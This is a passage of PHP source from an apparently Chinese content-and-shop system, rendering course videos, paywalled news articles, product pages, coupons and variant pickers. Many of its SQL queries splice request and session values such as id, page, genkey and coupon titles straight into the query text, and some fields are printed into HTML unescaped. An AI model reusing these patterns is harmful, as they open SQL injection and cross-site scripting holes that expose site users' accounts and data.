		$t = str_Replace("[C_ptitle]",$ptitle." - ".$row["C_title"],$t);
		$t = str_Replace("[C_pic]",pic($row["C_pic"]),$t);
		$t = str_Replace("[C_price]",$row["C_price"],$t);
		$style="<style>
		.u{height:100%;width:100%;min-height:250px;position:relative;background:#f7f7f7;display:block;}
		.u div{height:220px;width:300px;text-align:center;top:calc(50% - 110px);position:absolute;left:calc(50% - 150px);}
		</style>
		<link href=\"https://cdn.bootcdn.net/ajax/libs/video.js/7.10.1/video-js.min.css\" rel=\"stylesheet\">
		<script src=\"https://cdn.bootcdn.net/ajax/libs/video.js/7.10.1/video.min.js\"></script> 
		";

		if(substr($video,0,7)=="<iframe"){
			$v=$video;
		}else{
			if(substr($video,0,6)=="media/" || substr($video,0,7)=="http://" || substr($video,0,8)=="https://"){
				//无需加前缀
			}else{
				$video="media/".$video;
			}
			switch(substr(strrchr($video, '.'), 1)){
				case "txt":
				$v="<div style=\"text-align:left;background:#fff;padding:10px;box-shadow: 0px 0px 10px #666666;\">".str_replace("\r\n","<br>",file_get_contents("../".$video))."</div>";
				break;
				case "mp3":
				$v="
			<video preload=\"auto\" class=\"video-js vjs-big-play-centered\" id=\"my-video\" poster=\"media/".$row["C_pic"]."\" controls data-setup=\"{}\">
			<source src=\"".$video."\" type=\"video/mp4\" />
			<p class=\"vjs-no-js\"> To view this video please enable JavaScript, and consider upgrading to a web browser that <a href=\"http://videojs.com/html5-video-support/\" target=\"_blank\">supports HTML5 video</a> </p>
			</video>";
				break;
				case "mp4":
				$v="
			<video preload=\"auto\" class=\"video-js vjs-big-play-centered\" id=\"my-video\"  controls data-setup=\"{}\">
			<source src=\"".$video."\" type=\"video/mp4\" />
			<p class=\"vjs-no-js\"> To view this video please enable JavaScript, and consider upgrading to a web browser that <a href=\"http://videojs.com/html5-video-support/\" target=\"_blank\">supports HTML5 video</a> </p>
			</video>";
				break;
			}
		}

		if($price>0 && $C_price>0){//付费
			if($_SESSION["M_id"]==""){//未登录
				$v="<div class=\"u\"><div><p><img src=\"images/v_nologin.png\"></p><p>亲，需要登录才能继续观看～
 </p><p><a href=\"member/login.php?from=".urlencode("../?type=courseinfo&id=".$id."&page=".$page)."\" class=\"btn btn-info\">快速登录</a></p></div></div>";
			}else{//已登录
				$O=getrs("select * from sl_orders where O_cid=$id and O_state=1 and (O_content='all' or O_content='".$page."') and O_mid=".intval($_SESSION["M_id"]));
				if($O==""){
					$v="<div class=\"u\"><div><p><img src=\"images/v_nologin.png\"></p><p>亲，需要购买才能继续观看～
 </p><p><a href=\"buy.php?type=courseinfo&id=$id&page=all&genkey=$genkey\" class=\"btn btn-primary\">".$C_price."元购买全套</a> <a href=\"buy.php?type=courseinfo&id=$id&page=$page&genkey=$genkey\" class=\"btn btn-info\">".$price."元购买本节</a></p></div></div>";
				}
			}
		}
		

		$t = str_Replace("[C_video]",$v.$style,$t);
	}
	return $t;
}
function newsinfo($t){
	global $conn,$id,$C_n_discount,$C_n_discount2,$C_keyword,$C_description,$C_newsds;

	if($_SESSION["M_id"]!=""){
	  $H_id=getrs("select * from sl_history where H_hid=$id and H_mid=".$_SESSION["M_id"]." and H_type=1","H_id");
	  if($H_id!=""){
	      mysqli_query($conn,"update sl_history set H_time='".date('Y-m-d H:i:s')."' where H_id=$H_id");
	  }else{
	      mysqli_query($conn, "insert into sl_history(H_type,H_hid,H_mid,H_time) values(1,$id,".$_SESSION["M_id"].",'".date('Y-m-d H:i:s')."')");
	  }
	}

	$genkey=t($_GET["genkey"]);
	$sql="select * from sl_news,sl_nsort where N_sort=S_id and N_id=".$id;
	$result = mysqli_query($conn, $sql);
	$row = mysqli_fetch_assoc($result);
	if (mysqli_num_rows($result) > 0) {
		$t = str_Replace("[S_id]",$row["S_id"],$t);
		$t = str_Replace("[S_title]",$row["S_title"],$t);
		$t = str_Replace("[N_id]",$row["N_id"],$t);
		$t = str_Replace("[N_title]",$row["N_title"],$t);
		$t = str_Replace("[N_pic]",pic($row["N_pic"]),$t);
		$t = str_Replace("[N_sort]",$row["N_sort"],$t);
		$t = str_Replace("[N_view]",$row["N_view"],$t);
		$t = str_Replace("[N_author]",$row["N_author"],$t);
		$t = str_Replace("[N_date]",$row["N_date"],$t);
		$t = str_Replace("[N_price]",p($row["N_price"]),$t);
		if($row["N_keywords"]==""){
			$t = str_Replace("[N_keywords]",$C_keyword,$t);
		}else{
			$t = str_Replace("[N_keywords]",$row["N_keywords"],$t);
		}
		if($row["N_description"]==""){
			$t = str_Replace("[N_description]",$C_description,$t);
		}else{
			$t = str_Replace("[N_description]",$row["N_description"],$t);
		}
		$N_vshow=$row["N_vshow"];
		$N_ds=$row["N_ds"];
		$N_dsintro=$row["N_dsintro"];
		$N_content=editor_oss($row["N_content"]);

		if($row["N_video"]!=""){
			if(strpos($row["N_video"],"<")!==false){
			    $N_video=$row["N_video"];
			}else{
			    if(substr($row["N_video"],0,7)=="http://" || substr($row["N_video"],0,8)=="https://"){
			        $N_video="<video width=\"100%\" style=\"max-height:500px;background:#000000\" poster=\"".pic($row["N_pic"])."\" controls><source src=\"".$row["N_video"]."\" type=\"video/mp4\">您的浏览器不支持 video 标签。</video>";
			    }else{
			        $N_video="<video width=\"100%\" style=\"max-height:500px;background:#000000\" poster=\"".pic($row["N_pic"])."\" controls><source src=\"media/".$row["N_video"]."\" type=\"video/mp4\">您的浏览器不支持 video 标签。</video>";
			    }
			}
			if($N_vshow==0){
				$N_content="<div style=\"margin-bottom:10px;\">".$N_video."</div>".$N_content;
			}else{
				$N_content=$N_content."<div style=\"margin-top:10px;\">".$N_video."</div>";
			}
		}
		if($C_newsds!="" && $N_ds==1){
			$N_content=$N_content."<hr><div style=\"text-align:center;\"><div style=\"font-weight:bold;font-size:15px;\">".$N_dsintro."</div>".$C_newsds."</div>";
		}

		$N_price=p($row["N_price"]);
		$N_date=$row["N_date"];
		$N_long=$row["N_long"];
		$N_tag=$row["N_tag"];
		$tag=explode(" ",$N_tag);
        for($i=0;$i<count($tag);$i++){
        	if($tag[$i]!=""){
        		$tags=$tags."<a style=\"border:solid 1px #AAAAAA;display:inline-block;padding:2px 5px;border-radius:5px;margin:5px;font-size:12px;\" href=\"?type=news&tag=".$tag[$i]."\">".$tag[$i]."</a>";
        	}
        	
    	}
    	if($N_tag!=""){
    		$t = str_Replace("[N_tag]","标签：".$tags,$t);
    	}else{
    		$t = str_Replace("[N_tag]","",$t);
    	}
		$length=mb_strlen(strip_tags($N_content),"utf-8");
		if(strpos($row["N_content"],"[fh_free]")!==false){
			$N_preview="<b>免费预览：</b>".splitx($row["N_content"],"[fh_free]",0)."<div style=\"border-bottom:1px solid #EEEEEE;padding-bottom:30px;margin-bottom:30px;\"></div>";
		}

	}

	$sql="select * from sl_news where N_del=0 and N_sh=1 order by N_order,N_id desc";
	$result = mysqli_query($conn,  $sql);
	if (mysqli_num_rows($result) > 0) {
	while($row = mysqli_fetch_assoc($result)) {
	    $Ne_list=$Ne_list.$row["N_id"].",";
	  }
	}
	$Ne_list=",0,".$Ne_list."0,";

	$N_Nid=splitx(splitx($Ne_list,",".$id.",",1),",",0);
	$N_Pid=splitx(splitx($Ne_list,",".$id.",",0),",",count(explode(",",splitx($Ne_list,",".$id.",",0)))-1);

	if($N_Nid=="0"){
	  $N_Ntitle="没有了";
	  $N_Nurl="javascript:;";
	}else{
	  $N_Ntitle=getrs("select * from sl_news where N_del=0 and N_id=".intval($N_Nid),"N_title");
	  $N_Nurl="?type=newsinfo&id=".$N_Nid;
	  
	}
	if($N_Pid=="0"){
	  $N_Ptitle="没有了";
	  $N_Purl="javascript:;";
	}else{
	  $N_Ptitle=getrs("select * from sl_news where N_del=0 and N_id=".intval($N_Pid),"N_title");
	  $N_Purl="?type=newsinfo&id=".$N_Pid;
	}
	$t = str_Replace("[N_Ntitle]",$N_Ntitle,$t);
	$t = str_Replace("[N_Nurl]",$N_Nurl,$t);
	$t = str_Replace("[N_Ptitle]",$N_Ptitle,$t);
	$t = str_Replace("[N_Purl]",$N_Purl,$t);

	if($N_price>0){//文章不免费
		if($N_long==0 && $_SESSION["M_id"]==""){//没开启了限时付费
			if(getrs("select * from sl_orders where O_content='".$genkey."' and O_state=1 and O_nid=".$id,"O_id")!="" && $genkey!=""){//已免登录购买
				$t = str_Replace("[N_content]",str_replace("[fh_free]","",$N_content),$t);
			}else{
				if($_SESSION["M_id"]!=""){//登录了会员
					$sql = "select * from sl_orders where O_del=0 and O_state=1 and O_type=1 and O_nid=".$id." and O_mid=".intval($_SESSION["M_id"]);
					$result = mysqli_query($conn, $sql);
					$row = mysqli_fetch_assoc($result);
					if (mysqli_num_rows($result) > 0) {//已购买
						$t = str_Replace("[N_content]",str_replace("[fh_free]","",$N_content),$t);
					} else {//没购买
						$sql="select * from sl_member where M_id=".intval($_SESSION["M_id"]);
						$result = mysqli_query($conn, $sql);
						$row = mysqli_fetch_assoc($result);
						$M_viptime=$row["M_viptime"];
						$M_viplong=$row["M_viplong"];
						if($M_viplong-(time()-strtotime($M_viptime))/86400>0){
							if($M_viplong>30000){
								$N_discount=$C_n_discount2/10;
							}else{
								$N_discount=$C_n_discount/10;
							}
						}else{
							$N_discount=1;
						}
						if($N_discount==0){//VIP会员0折
							$t = str_Replace("[N_content]",str_replace("[fh_free]","",$N_content),$t);
						}else{
							$t = str_Replace("[N_content]",$N_preview.buynews("#f32196",$N_price,$id),$t);
						}
					}
				}else{//没登录会员
					$t = str_Replace("[N_content]",$N_preview.buynews("#f32196",$N_price,$id),$t);
				}
			}
		}else{//开启了限时付费
			if(time()>strtotime("+$N_long hour",strtotime($N_date))){//已过收费期
				$t = str_Replace("[N_content]",str_replace("[fh_free]","",$N_content),$t);
			}else{//未过收费期
				$t = str_Replace("[N_content]",$N_preview.buynews("#f32196",$N_price,$id),$t);
			}
		}
	}else{//免费
		$t = str_Replace("[N_content]",str_replace("[fh_free]","",$N_content),$t);
	}

	return $t;
}

function product($t){
	global $conn,$id,$C_keyword,$C_description;
	$M_id=intval($_GET["M_id"]);
	$sql="select * from sl_psort where S_id=".$id;
	$result = mysqli_query($conn, $sql);
	$row = mysqli_fetch_assoc($result);
	if (mysqli_num_rows($result) > 0) {
		$t = str_Replace("[S_id]",$row["S_id"],$t);
		$t = str_Replace("[S_sub]",$row["S_sub"],$t);
		$t = str_Replace("[S_pic]",pic($row["S_pic"]),$t);
		$t = str_Replace("[S_title]",$row["S_title"],$t);
		$t = str_Replace("[S_order]",$row["S_order"],$t);
		if($row["S_content"]==""){
			$t = str_Replace("[S_content]",$C_description,$t);
		}else{
			$t = str_Replace("[S_content]",$row["S_content"],$t);
		}
		if($row["S_keywords"]==""){
			$t = str_Replace("[S_keywords]",$C_keyword,$t);
		}else{
			$t = str_Replace("[S_keywords]",$row["S_keywords"],$t);
		}
	}else{
		if(intval($M_id)>0){
			$M=getrs("select * from sl_member where M_id=$M_id");
			$M_shop=$M["M_shop"];
			$M_head=$M["M_head"];
			$t = str_Replace("[S_id]","0",$t);
			$t = str_Replace("[S_title]",$M_shop,$t);
			$t = str_Replace("[S_content]",$M_shop,$t);
			$t = str_Replace("[S_keywords]",$M_shop,$t);
			$t = str_Replace("[S_pic]",pic($M_head),$t);
		}else{
			$t = str_Replace("[S_id]","0",$t);
			$t = str_Replace("[S_title]","全部商品",$t);
			$t = str_Replace("[S_keywords]","全部商品",$t);
			$t = str_Replace("[S_content]","ALL PRODUCT",$t);
			$t = str_Replace("[S_pic]",pic("nopic.png"),$t);
		}
	}
	return $t;
}

function productinfo($t){
	global $conn,$id,$C_notice,$C_keyword,$C_description,$C_p_discount,$C_p_discount2,$C_fx1,$C_fx2,$C_fx3,$config;

	if($_SESSION["M_id"]!=""){
	  $H_id=getrs("select * from sl_history where H_hid=$id and H_mid=".$_SESSION["M_id"]." and H_type=0","H_id");
	  if($H_id!=""){
	      mysqli_query($conn,"update sl_history set H_time='".date('Y-m-d H:i:s')."' where H_id=$H_id");
	  }else{
	      mysqli_query($conn, "insert into sl_history(H_type,H_hid,H_mid,H_time) values(0,$id,".$_SESSION["M_id"].",'".date('Y-m-d H:i:s')."')");
	  }
	}

	$B_count=getrs("select count(*) as B_count from sl_orders where O_del=0 and O_state>0 and O_pid=".$id,"B_count");
	$E_count=getrs("select count(*) as E_count from sl_evaluate,sl_orders where O_del=0 and E_del=0 and O_state>0 and E_oid=O_id and O_pid=$id","E_count");

	$sql="select * from sl_product,sl_psort where P_sort=S_id and P_id=".$id;
	$result = mysqli_query($conn, $sql);
	$row = mysqli_fetch_assoc($result);
	if (mysqli_num_rows($result) > 0) {
		$P_fx=$row["P_fx"];
		$P_price=$row["P_price"];
		$t = str_Replace("[S_title]",$row["S_title"],$t);
		$t = str_Replace("[S_id]",$row["S_id"],$t);
		$t = str_Replace("[P_id]",$row["P_id"],$t);
		$t = str_Replace("[P_title]",$row["P_title"],$t);
		$t = str_Replace("[P_view]",$row["P_view"],$t);
		$t = str_Replace("[P_time]",$row["P_time"],$t);
		$t = str_Replace("[P_sold]",$row["P_sold"],$t);
		if($row["P_keywords"]==""){
			$t = str_Replace("[P_keywords]",$C_keyword,$t);
		}else{
			$t = str_Replace("[P_keywords]",$row["P_keywords"],$t);
		}
		if($row["P_description"]==""){
			$t = str_Replace("[P_description]",$C_description,$t);
		}else{
			$t = str_Replace("[P_description]",$row["P_description"],$t);
		}
		$t = str_Replace("[P_pic]",pic(splitx($row["P_pic"],"|",0)),$t);
		if($row["P_mid"]==0){
			$zy="<span style=\"font-size:12px;background:#c81623;border-radius:5px;padding:2px 3px;color:#ffffff;margin-right:5px;display:inline;\">自营</span>";
			$shop="<span style=\"font-size:12px;background:#c81623;border-radius:5px;padding:2px 3px;color:#ffffff;display:inline;margin:0 2px;\">官方自营店</span>";
		}else{
			$zy="";
			$shop="<a href=\"./?type=product&M_id=".intval($row["P_mid"])."\" style=\"font-size:12px;background:#0099ff;border-radius:5px;padding:2px 3px;color:#ffffff;display:inline;margin:0 2px;\">".getrs("select * from sl_member where M_id=".intval($row["P_mid"]),"M_shop")."</a>";
		}
		$t = str_Replace("[P_zy]",$zy,$t);
		$t = str_Replace("[P_shop]",$shop,$t);

		$P_content=editor_oss($row["P_content"]);

		if($P_fx==1 && $P_price>0 && ($C_fx1>0 || $C_fx2>0 || $C_fx3>0)){
			$P_content="<div style=\"padding:20px;margin-bottom:20px;background:url('images/pricebg.png')\">分享商品可得佣金【".($C_fx1*$P_price/100)."元】 <a style=\"float:right;background:#f32196;color:#ffffff;border-radius:5px;padding:0 5px\" href=\"conn/poster.php?type=product&id=$id&from=".intval($_SESSION["M_id"])."\">点击参与</a></div>".$P_content;
		}

		$P_vshow=$row["P_vshow"];

		if($row["P_shuxing"]!=""){
			$s=explode("\r",$row["P_shuxing"]);
			for($i=0;$i<count($s);$i++){
				$shuxing=$shuxing."<div style=\"width:33%;display:inline-block\">".$s[$i]."</div>";
			}
			$shuxing="<div style=\"background:#f7f7f7;border:solid 1px #DDDDDD;padding:20px;margin-bottom:10px;\"><p><b>商品参数：</b></p>".$shuxing."</div>";
		}
		if($row["P_video"]!=""){
			if(strpos($row["P_video"],"<")!==false){
			    $P_video=$row["P_video"];
			}else{
			    if(substr($row["P_video"],0,7)=="http://" || substr($row["P_video"],0,8)=="https://"){
			        $P_video="<video width=\"100%\" style=\"max-height:500px;background:#000000;\"  poster=\"".pic(splitx($row["P_pic"],"|",0))."\" controls><source src=\"".$row["P_video"]."\" type=\"video/mp4\">您的浏览器不支持 video 标签。</video>";
			    }else{
			        $P_video="<video width=\"100%\"  style=\"max-height:500px;background:#000000;\" poster=\"".pic(splitx($row["P_pic"],"|",0))."\" controls><source src=\"media/".$row["P_video"]."\" type=\"video/mp4\">您的浏览器不支持 video 标签。</video>";
			    }
			}
			if($P_vshow==0){
				$P_content="<div style=\"margin-bottom:10px;\">".$P_video."</div>".$P_content;
			}else{
				$P_content=$P_content."<div style=\"margin-bottom:10px;\">".$P_video."</div>";
			}
		}
		$t = str_Replace("[P_shuxing]",$shuxing,$t);
		$t = str_Replace("[P_content]",$P_content,$t);
		$t = str_Replace("[P_sort]",$row["P_sort"],$t);
		if($row["P_viponly"]==1){
			$s="<a target=\"_blank\" href=\"member/vip.php\" style=\"font-size: 12px;border-radius: 5px;margin-left: 10px;margin-right: 10px;font-weight: bold;border:solid 1px #000000;\"><span style=\"padding: 0 3px;background: #000000;color: #FFCC00;\">仅限VIP购买</span></a>";
			$t = str_Replace("[P_vip]",$s,$t);
		}else{
			if($row["P_vip"]==1){//如果商品开启了参与VIP活动
				if($C_p_discount<10){//普通VIP有折扣
					$s="<span style=\"padding: 0 3px;background: #000000;color: #FFCC00;\">VIP￥<span id=\"price_v1\">".p($row["P_price"]*$C_p_discount/10)."</span></span>";
				}
				if($C_p_discount2<$C_p_discount){
					$s=$s."<span style=\"background:#FFCC00;color:#000000;padding: 0 3px;border-radius: 0 5px 5px 0;\">SVIP￥<span id=\"price_v2\">".p($row["P_price"]*$C_p_discount2/10)."<span></span>";
				}
				$s="<a target=\"_blank\" href=\"member/vip.php\" style=\"font-size: 12px;border-radius: 5px;margin-left: 10px;margin-right: 10px;font-weight: bold;border:solid 1px #000000;\">".$s."</a>";
				$t = str_Replace("[P_vip]",$s,$t);
			}else{
				$t = str_Replace("[P_vip]","",$t);
			}
		}
		
		$t = str_Replace("[P_price]",p($row["P_price"]),$t);
		$t = str_Replace("[P_sell]",$row["P_sell"],$t);
		$t = str_Replace("[P_selltype]",$row["P_selltype"],$t);
		$t = str_Replace("[B_count]",$B_count,$t);
		$t = str_Replace("[E_count]",$E_count,$t);
		$P_price=$row["P_price"];
		$P_selltype=$row["P_selltype"];
		$P_sell=$row["P_sell"];
		$P_gg=$row["P_gg"];
		$P_ggsell=$row["P_ggsell"];
		$P_restx=$row["P_rest"];
		$P_tag=$row["P_tag"];
		$P_mid=$row["P_mid"];
		$tag=explode(" ",$P_tag);
        for($i=0;$i<count($tag);$i++){
        	$tags=$tags."<a style=\"border:solid 1px #AAAAAA;display:inline-block;padding:2px 5px;border-radius:5px;margin:5px;font-size:12px;\" href=\"?type=product&tag=".$tag[$i]."\">".$tag[$i]."</a>";
    	}
    	if($P_tag!=""){
    		$t = str_Replace("[P_tag]","标签：".$tags,$t);
    	}else{
    		$t = str_Replace("[P_tag]","",$t);
    	}

    	$sql="select Q_title,Q_pid from (select * from sl_quan where ((Q_fid=".$P_mid." and Q_pid=0) or (Q_pid=".$id." and Q_fid=".$P_mid.")) and Q_del=0 and Q_hide=0 and Q_gettime>now())b group by Q_title,Q_pid order by Q_pid asc";
		$result = mysqli_query($conn,  $sql);
		if (mysqli_num_rows($result) > 0) {
		while($row = mysqli_fetch_assoc($result)) {
				$Q=getrs("select * from sl_quan where Q_title='".$row["Q_title"]."'");
				$rest=getrs("select count(Q_id) as Q_count from sl_quan where Q_del=0 and Q_hide=0 and Q_mid=0 and Q_gettime>now() and Q_title='".$Q["Q_title"]."'","Q_count");
				if($Q["Q_pid"]>0){
					$P_info="商品优惠券";
				}else{
					$P_info="店铺优惠券";
				}

				if($Q["Q_discount"]>0){
					$D_info="".((100-$Q["Q_discount"])/10)."折";
				}else{
					$D_info="";
				}

				if($Q["Q_minuse"]>0){
					$M_info="".$Q["Q_minuse"]."元";
				}else{
					$M_info="";
				}

				if($_SESSION["M_id"]!="" && getrs("select * from sl_quan where Q_mid=".intval($_SESSION["M_id"])." and Q_title='".$Q["Q_title"]."'")){
					$btn="<span style=\"color:#f32196;border-bottom: 1px dotted #f32196;\">已领</span>";
				}else{
					$btn="<span id=\"quan_btn_".$Q["Q_id"]."\" style=\"color:#f32196;border-bottom: 1px dotted #f32196;cursor:pointer;\" onclick=\"getquan(".$Q["Q_id"].")\">领券</span> <span id=\"login_".$Q["Q_id"]."\"></span>";
				}

		        $quan=$quan."
		    <script>
			function getquan(id){
				\$.ajax({
		            url: \"conn/f.php?action=getquan&Q_id=\"+id,
		            success: function(data) {
		                data = JSON.parse(data);
		                if (data.code == \"success\") {
		                    \$(\"#quan_btn_\"+id).html(\"已领\");
		                    \$(\"#quan_btn_\"+id).attr(\"onclick\",\"\");
		                } else {
		                    alert(data.msg);
		                    if(data.msg==\"请先登录会员帐号！\"){
		                    	\$(\"#login_\"+id).html(\"<a style='color:#f32196;border-bottom: 1px dotted #f32196;cursor:pointer;' href='member/login.php?from=\"+encodeURIComponent(window.location.href)+\"'>登录</a>\");
		                    }
		                }
		            }
		        });
			}
			</script>
		        <div style=\"margin-bottom:8px;\"><span style=\"color:#f32196;border:solid 1px #f32196;border-radius:5px;padding:0 2px\"><span style=\"border-right: 1px dotted #f32196;padding-right:5px;margin-right:5px\">".$Q["Q_title"]."</span>".$P_info."</span> ".$M_info.$D_info."优惠券 满".$Q["Q_money"]."元可用 ".$btn."</div>";
		    }
		}
		if($quan!=""){
			if(!isMobile()){
				$quan="<div style=\"display:inline-block;width:50px;float:left\"><b>优惠</b></div><div style=\"display:inline-block;width:calc(100% - 50px);font-size:12px\">".$quan."</div>";
			}
		}
		if($config->quan=="true"){
			$t = str_Replace("[P_quan]",$quan,$t);
		}else{
			$t = str_Replace("[P_quan]","",$t);
		}

    	$P_js = "
			<script>
			var P_price=$P_price;
			\$(function() {
			\$('#buy label').click(function(){
				var aa = \$(this).attr('aa');\$('[aa='+aa+']').removeAttr('class') ;\$(this).attr('class','checked');
				if(\$(this).attr(\"data-pic\")!=''){
					\$(\"#P_pic\").attr(\"src\",\$(this).attr(\"data-pic\"));
				}
			});
			\$(\"#buy label[data-title]\").click(function(){
				\$(\"label[class='checked'][data-title]\").each(function(i){

			        if(0==i){
			        	if(\$(this).attr(\"data-price\").substr(0,1)==\"*\"){
			        		q = Number(\$(this).attr(\"data-price\").substr(1));
			        		p = 0;
			        	}else{
			        		q = 1;
			        		p = Number(\$(this).attr(\"data-price\"));
			        	}
			            t = \$(this).attr(\"data-title\");
			        }else{
			        	if(\$(this).attr(\"data-price\").substr(0,1)==\"*\"){
			        		q = q * Number(\$(this).attr(\"data-price\").substr(1));
			        	}else{
			        		p = p + Number(\$(this).attr(\"data-price\"));
			        	}
			            t=t+\" \"+\$(this).attr(\"data-title\");
			        }
			    });
				\$(\"#price\").html(((P_price+p)*q).toFixed(2));
				\$(\"#price_v1\").html(((P_price+p)*q*".($C_p_discount/10).").toFixed(2));
				\$(\"#price_v2\").html(((P_price+p)*q*".($C_p_discount2/10).").toFixed(2));
				\$(\"#gg_title\").html(t);

				if(\$(this).attr(\"aa\").split(\"_\")[1]==0){
					\$(\"#gg_rest\").html(\$(this).attr(\"data-restTitle\"));
					\$(\"#buy #plus\").attr(\"onClick\",\"javascript:if(this.form.amount.value<\"+\$(this).attr(\"data-rest\")+\"){this.form.amount.value++;}\");
					if(\$(this).attr(\"data-rest\")<\$(\"#amount\").val()){
						\$(\"#amount\").val(\$(this).attr(\"data-rest\"));
					}
					if(\$(this).attr(\"data-rest\")==0){
						\$(\"#buy button\").attr(\"disabled\",\"true\");
						\$(\"#buy button\").html(\"暂时缺货\");
						\$(\"#buy input[type='submit']\").attr(\"disabled\",\"true\");
						\$(\"#buy input[type='submit']\").attr(\"value\",\"暂时缺货\");
					}else{
						\$(\"#buy button\").removeAttr(\"disabled\");
						\$(\"#buy #cart_btn\").html(\"加入购物车\");
						\$(\"#buy input[type='submit']\").removeAttr(\"disabled\");
						\$(\"#buy input[type='submit']\").attr(\"value\",\"立即购买\");
					}
				}
			 }); 
			\$(\"#buy div\").find(\"label:first\").addClass(\"checked\");
			\$(\"#buy div\").find(\"input:first\").attr(\"checked\",\"checked\");
			\$(\"#buy div\").find(\"label:first\").trigger(\"click\");
			})
			</script>
            <style>
            input[type='radio'] {display: none;}
            #buy label {line-height:150%;display:inline-block;margin-bottom:5px;padding:2px 10px;cursor: pointer;border: #CCCCCC solid 2px;border-radius: 3px;}
            #buy .checked {border: #f32196 solid 2px;border-radius: 3px;color: #fff;background:#f32196}
            #buy label .text{font-size:12px;text-align:center;padding-top:3px;margin:0 -10px;width:75px;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}
            #buy label img{width:75px;height:75px;margin:-2px -10px}
            </style>";
            $shuxing = explode("@", $P_gg);
            if($P_gg!=""){
                for ($j = 0; $j < count($shuxing); $j++) {
                    if ($shuxing[$j] != "__") {
                        $P_sc = $P_sc . "<div style=\"margin-bottom:5px;\"><div style=\"display:inline-block;width:50px;float:left\"><b>" . splitx($shuxing[$j], "_", 0) . "</b></div> <div style=\"display:inline-block;width:calc(100% - 50px)\">";
                        $P_sc2 = $P_sc2 . "<b>" . splitx($shuxing[$j], "_", 0) . "</b> ";
                        $sc = explode("|", splitx($shuxing[$j], "_", 1));
                        $pc = explode("|", splitx($shuxing[$j], "_", 3));
                        $gg_price=explode("|", splitx($shuxing[$j], "_", 2));
                        for ($i = 0; $i < count($sc); $i++) {
                        	if($P_ggsell!=""){
	                        	$gg_sell=explode("\n", $P_ggsell);
	                        	switch(splitx($gg_sell[$i],"|",0)){
	                        		case 0:
	                        		$gg_rest=999999999;
	                        		$gg_rest_title="充足";
	                        		break;
	                        		case 1:
	                        		$gg_rest=getrs("select count(C_id) as C_count from sl_card where C_use=0 and C_del=0 and C_sort=".intval(splitx($gg_sell[$i],"|",1)),"C_count");
	                        		$gg_rest_title=getrs("select count(C_id) as C_count from sl_card where C_use=0 and C_del=0 and C_sort=".intval(splitx($gg_sell[$i],"|",1)),"C_count")."件";
	                        		break;
	                        		case 2:
	                        		$gg_rest=$P_restx;
	                        		$gg_rest_title=$P_restx."件";
	                        		break;
	                        	}
                        	}else{
							    switch ($P_selltype) {
									case 0:
										$gg_rest_title="充足";
										$gg_rest=999999999;
										break;

										case 1:
										$gg_rest_title=getrs("select count(C_id) as C_count from sl_card where C_sort=".intval($P_sell)." and C_use=0 and C_del=0","C_count")."件";
										$gg_rest=getrs("select count(C_id) as C_count from sl_card where C_sort=".intval($P_sell)." and C_use=0 and C_del=0","C_count");
										break;

										case 2:
										$gg_rest_title=$P_restx."件";
										$gg_rest=$P_restx;
										break;
								}
                        	}
                        	if($pc[$i]!=""){
                        		if(isMobile()){
                        			$P_sc = $P_sc . "<label data-pic='media/".$pc[$i]."' data-title='".$sc[$i]."' data-rest='".$gg_rest."' data-restTitle='".$gg_rest_title."' data-price='".p($gg_price[$i])."' aa='scvvvvv_" . $j . "'><input type='radio' name='scvvvvv_" . $j . "' id='" . $j . "_" . $i . "' value='" . $i . "'> <img src='media/".$pc[$i]."' title='".$sc[$i]."'><div class='text'>".$sc[$i]."</div></label> ";
                        		}else{
                        			$P_sc = $P_sc . "<label data-pic='media/".$pc[$i]."' data-title='".$sc[$i]."' data-rest='".$gg_rest."' data-restTitle='".$gg_rest_title."' data-price='".p($gg_price[$i])."' aa='scvvvvv_" . $j . "'><input type='radio' name='scvvvvv_" . $j . "' id='" . $j . "_" . $i . "' value='" . $i . "'> <img src='media/".$pc[$i]."' style='width:38px;height:38px;margin:-1px -9px' title='".$sc[$i]."'></label> ";
                        		}
                        		
                        	}else{
                        		$P_sc = $P_sc . "<label data-pic='' data-title='".$sc[$i]."' data-rest='".$gg_rest."' data-restTitle='".$gg_rest_title."' data-price='".p($gg_price[$i])."' aa='scvvvvv_" . $j . "'><input type='radio' name='scvvvvv_" . $j . "' id='" . $j . "_" . $i . "' value='" . $i . "'> " . $sc[$i] . "</label> ";
                        	}
                            
                            $P_sc2 = $P_sc2 . $sc[$i] . " / ";
                        }
                        $P_sc = $P_sc . "</div></div>";
                        $P_sc2 = substr($P_sc2, 0, strlen($P_sc2) - 2);
                        $P_sc2 = $P_sc2 . "<br>";
                    }
                }
            }

			$gg=$gg.$P_js.$P_sc;
			$t = str_Replace("[P_gg]",$gg,$t);
	}

	switch ($P_selltype) {
		case 0:
			$P_resttitle="充足";
			$P_rest=999999999;
			break;

			case 1:
			$P_resttitle=getrs("select count(C_id) as C_count from sl_card where C_sort=".intval($P_sell)." and C_use=0 and C_del=0","C_count")."件";
			$P_rest=getrs("select count(C_id) as C_count from sl_card where C_sort=".intval($P_sell)." and C_use=0 and C_del=0","C_count");
			break;

			case 2:
			$P_resttitle=$P_restx."件";
			$P_rest=$P_restx;
			break;
	}

	$sql="select * from sl_product where P_del=0 and P_sh=1 order by P_order,P_id desc";
	$result = mysqli_query($conn,  $sql);
	if (mysqli_num_rows($result) > 0) {
	while($row = mysqli_fetch_assoc($result)) {
	    $Pe_list=$Pe_list.$row["P_id"].",";
	  }
	}
	$Pe_list=",0,".$Pe_list."0,";

	$P_Nid=splitx(splitx($Pe_list,",".$id.",",1),",",0);
	$P_Pid=splitx(splitx($Pe_list,",".$id.",",0),",",count(explode(",",splitx($Pe_list,",".$id.",",0)))-1);

	if($P_Nid=="0"){
	  $P_Ntitle="没有了";
	  $P_Nurl="javascript:;";
	}else{
	  $P_Ntitle=getrs("select * from sl_product where P_del=0 and P_id=".intval($P_Nid),"P_title");
	  $P_Nurl="?type=productinfo&id=".$P_Nid;
	}
	if($P_Pid=="0"){
	  $P_Ptitle="没有了";
	  $P_Purl="javascript:;";
	}else{
	  $P_Ptitle=getrs("select * from sl_product where P_del=0 and P_id=".intval($P_Pid),"P_title");
	  $P_Purl="?type=productinfo&id=".$P_Pid;
	}

	$t = str_Replace("[P_resttitle]",$P_resttitle,$t);
	$t = str_Replace("[P_rest]",$P_rest,$t);
	$t = str_Replace("[P_Ntitle]",$P_Ntitle,$t);
	$t = str_Replace("[P_Nurl]",$P_Nurl,$t);
	$t = str_Replace("[P_Ptitle]",$P_Ptitle,$t);
	$t = str_Replace("[P_Purl]",$P_Purl,$t);

	if($_SESSION["M_id"]==""){
		$fh_info="";
	}else{
		if($P_selltype==0 || $P_selltype==1){
